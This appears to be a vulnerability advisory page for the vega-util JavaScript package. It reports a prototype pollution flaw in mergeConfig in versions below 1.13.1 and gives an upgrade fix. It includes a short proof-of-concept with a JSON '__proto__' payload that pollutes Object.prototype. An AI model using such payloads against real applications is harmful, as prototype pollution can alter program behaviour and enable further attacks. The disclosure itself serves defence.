vega-util@1.12.1 vulnerabilities

JavaScript utilities for Vega.

  • latest version

    1.17.2

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    1 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the vega-util package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    vega-util is a JavaScript utilities package for Vega.

    Affected versions of this package are vulnerable to Prototype Pollution. The vega.mergeConfig method within vega-util could be tricked into adding or modifying properties of Object.prototype.

    PoC by Snyk

    var util = require('vega-util')
    var config = '{style: {point: {shape: triangle-right}}}'
    var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
    
      var c = util.mergeConfig(
        config,
        JSON.parse(malicious_payload)
      );
    console.log({}.vulnerable);
    

    How to fix Prototype Pollution?

    Upgrade vega-util to version 1.13.1 or higher.

    <1.13.1